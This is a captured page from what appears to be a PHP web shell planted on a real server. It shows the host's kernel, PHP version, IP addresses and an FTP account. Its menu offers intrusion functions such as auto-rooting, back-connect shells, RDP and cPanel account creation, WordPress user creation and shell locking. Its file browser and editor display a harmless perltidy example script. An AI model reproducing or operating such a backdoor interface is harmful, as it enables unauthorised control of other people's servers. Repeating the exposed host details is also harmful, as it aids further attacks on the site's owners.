Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perltidy /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
README
990
B
-rw-r--r--
bbtidy.pl
487
B
-rw-r--r--
break_long_quotes.pl
6.35
KB
-rw-r--r--
ex_mp.pl
1.38
KB
-rw-r--r--
filter_example.in
346
B
-rw-r--r--
filter_example.pl
1.69
KB
-rw-r--r--
find_naughty.pl
3.08
KB
-rw-r--r--
lextest
698
B
-rw-r--r--
perlcomment.pl
6.96
KB
-rw-r--r--
perllinetype.pl
1.93
KB
-rw-r--r--
perlmask.pl
8.5
KB
-rw-r--r--
perltidy_okw.pl
1.25
KB
-rw-r--r--
perltidyrc_dump.pl
10.92
KB
-rw-r--r--
perlxmltok.pl
7.92
KB
-rw-r--r--
testfa.t
1.87
KB
-rw-r--r--
testff.t
2.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : perllinetype.pl
#!/usr/bin/perl -w use strict; # For each line in a perl script, write to STDOUT lines of the form # line number : line type : line text # # usage: # perllinetype myfile.pl >myfile.new # perllinetype <myfile.pl >myfile.new # # This file is one of the examples distributed with perltidy and is a # simple demonstration of using a callback object with Perl::Tidy. # # Steve Hancock, July 2003 # use Getopt::Std; use Perl::Tidy; use IO::File; $| = 1; use vars qw($opt_h); my $usage = <<EOM; usage: perllinetype filename >outfile EOM getopts('h') or die "$usage"; if ($opt_h) { die $usage } # Make the source for perltidy, which will be a filehandle # or just '-' if the source is stdin my ($file, $fh, $source); if ( @ARGV == 0 ) { $source = '-'; } elsif ( @ARGV == 1 ) { $file = $ARGV[0]; $fh = IO::File->new( $file, 'r' ); unless ($fh) { die "cannot open '$file': $!\n" } $source = $fh; } else { die $usage } # make the callback object my $formatter = MyFormatter->new(); my $dest; # start perltidy, which will start calling our write_line() my $err=perltidy( 'formatter' => $formatter, # callback object 'source' => $source, 'destination' => \$dest, # (not really needed) 'argv' => "-npro -se", # dont need .perltidyrc # errors to STDOUT ); if ($err) { die "Error calling perltidy\n"; } $fh->close() if $fh; package MyFormatter; sub new { my ($class) = @_; bless {}, $class; } sub write_line { # This is called from perltidy line-by-line my $self = shift; my $line_of_tokens = shift; my $line_type = $line_of_tokens->{_line_type}; my $input_line_number = $line_of_tokens->{_line_number}; my $input_line = $line_of_tokens->{_line_text}; print "$input_line_number:$line_type:$input_line"; } # called once after the last line of a file sub finish_formatting { my $self = shift; return; }
Close